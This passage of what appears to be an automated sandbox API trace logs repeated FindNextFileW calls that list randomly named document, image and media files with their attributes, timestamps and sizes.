lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x758d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GeC6sbZ4BP3n.rtf", cAlternateFileName="")) returned 1 [0040.097] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x904d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICCtCDKhaB3ppqcf.pptx", cAlternateFileName="")) returned 1 [0040.097] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6825, dwReserved0=0x0, dwReserved1=0x0, cFileName="5IlHsHHuj.flv", cAlternateFileName="")) returned 1 [0040.097] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x18042, dwReserved0=0x0, dwReserved1=0x0, cFileName="YfrMVx7qN.pdf", cAlternateFileName="")) returned 1 [0040.097] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17472, dwReserved0=0x0, dwReserved1=0x0, cFileName="X9DJzkehG84l5iXYb.rtf", cAlternateFileName="")) returned 1 [0040.097] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x113a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="arFxCRPaJOfVUXqGPh.pps", cAlternateFileName="")) returned 1 [0040.097] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb72e, dwReserved0=0x0, dwReserved1=0x0, cFileName="hzFXuXTiFAk.mp4", cAlternateFileName="")) returned 1 [0040.098] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x86a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HQARGMXmC2WYy.pdf", cAlternateFileName="")) returned 1 [0040.098] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x167a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="yusqqOM7hYB90.xlsx", cAlternateFileName="")) returned 1 [0040.098] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x112b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="I5MGz.gif", cAlternateFileName="")) returned 1 [0040.098] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa877, dwReserved0=0x0, dwReserved1=0x0, cFileName="rbURuD4ORn2Eem6rs.jpg", cAlternateFileName="")) returned 1 [0040.098] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x7b24, dwReserved0=0x0, dwReserved1=0x0, cFileName="VTE95H0m59pDCT9UO1IX.docx", cAlternateFileName="")) returned 1 [0040.098] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x96af, dwReserved0=0x0, dwReserved1=0x0, cFileName="HYsyB74UdGWE4jIKpy9E.xlsx", cAlternateFileName="")) returned 1 [0040.098] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13a81, dwReserved0=0x0, dwReserved1=0x0, cFileName="455kYjCp7KIYqdl.gif", cAlternateFileName="")) returned 1 [0040.098] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="F1p7Wn.swf", cAlternateFileName="")) returned 1 [0040.098] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9039, dwReserved0=0x0, dwReserved1=0x0, cFileName="SDdqr3L6NGsiR8gSS.png", cAlternateFileName="")) returned 1 [0040.099] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13821, dwReserved0=0x0, dwReserved1=0x0, cFileName="eDeo4.wav", cAlternateFileName="")) returned 1 [0040.099] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13fca, dwReserved0=0x0, dwReserved1=0x0, cFileName="EYzpuUkMw0nV.m4a", cAlternateFileName="")) returned 1 [0040.099] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x742f, dwReserved0=0x0, dwReserved1=0x0, cFileName="D91tIUAsFS.mkv", cAlternateFileName="")) returned 1 [0040.099] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1586e, dwReserved0=0x0, dwReserved1=0x0, cFileName="y4KxErTVQYWoCrSXjxG.odt", cAlternateFileName="")) returned 1 [0040.099] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x138c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="D3bOsFLtbMJgWgQv8Xrs.m4a", cAlternateFileName="")) returned 1 [0040.099] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc139, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBDptFA1xz7efpLkn.mp4", cAlternateFileName="")) returned 1 [0040.099] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xafe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="JmVSFmaxSYp.wav", cAlternateFileName="")) returned 1 [0040.099] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15403, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwFhNksqnjKFSaL.doc", cAlternateFileName="")) returned 1 [0040.099] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x18342, dwReserved0=0x0, dwReserved1=0x0, cFileName="hMbpJsxUxLqdU43X.rtf", cAlternateFileName="")) returned 1 [0040.099] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x7967, dwReserved0=0x0, dwReserved1=0x0, cFileName="mUs3U.jpg", cAlternateFileName="")) returned 1 [0040.099] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1057a, dwReserved0=0x0, dwReserved1=0x0, cFileName="noIQIeDYAhP.m4a", cAlternateFileName="")) returned 1 [0040.100] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12170, dwReserved0=0x0, dwReserved1=0x0, cFileName="V7AkBxJ.rtf", cAlternateFileName="")) returned 1 [0040.100] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12d65, dwReserved0=0x0, dwReserved1=0x0, cFileName="nXMaDbExzV3GNxn.rtf", cAlternateFileName="")) returned 1 [0040.100] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="05sv4vlauTjO82QKoH.odp", cAlternateFileName="")) returned 1 [0040.100] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x178b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="e0Lune6IQDhr.swf", cAlternateFileName="")) returned 1 [0040.100] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xef2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UWPd5V722.jpg", cAlternateFileName="")) returned 1 [0040.100] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x112a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="3vXkT9bZW2wQG2nOsz.flv", cAlternateFileName="")) returned 1 [0040.100] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x173b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="rSvaTPcyuRZ.avi", cAlternateFileName="")) returned 1 [0040.100] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449a6bc0, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x52b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BEWCWMGvP7.odp", cAlternateFileName="")) returned 1 [0040.100] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERBbBrh6.mp3", cAlternateFileName="")) returned 1 [0040.100] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x968a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cYeVSPPEdjtBCAgcD.m4a", cAlternateFileName="")) returned 1 [0040.100] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf715, dwReserved0=0x0, dwReserved1=0x0, cFileName="t0dVU7jjqdjfnF7OmqO.png", cAlternateFileName="")) returned 1 [0040.101] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc295, dwReserved0=0x0, dwReserved1=0x0, cFileName="wPgITKWMM0.rtf", cAlternateFileName="")) returned 1 [0040.101] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="4DTakzSmlzvmIUv.mp3", cAlternateFileName="")) returned 1 [0040.101] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x99c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="aYwQj9EW4jZuUePCOt1y.jpg", cAlternateFileName="")) returned 1 [0040.101] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="hzhCnO8TQqI.avi", cAlternateFileName="")) returned 1 [0040.101] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="0fyyBWfRWm61u1MhJ.doc", cAlternateFileName="")) returned 1 [0040.101] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd2f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="hExQispuuoymhG1i192v.ppt", cAlternateFileName="")) returned 1 [0040.101] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x100ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="VQa7D2fVvyShxsM.xlsx", cAlternateFileName="")) returned 1 [0040.101] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xcc9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="nVlM8WgmSnZtiC.avi", cAlternateFileName="")) returned 1 [0040.101] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, 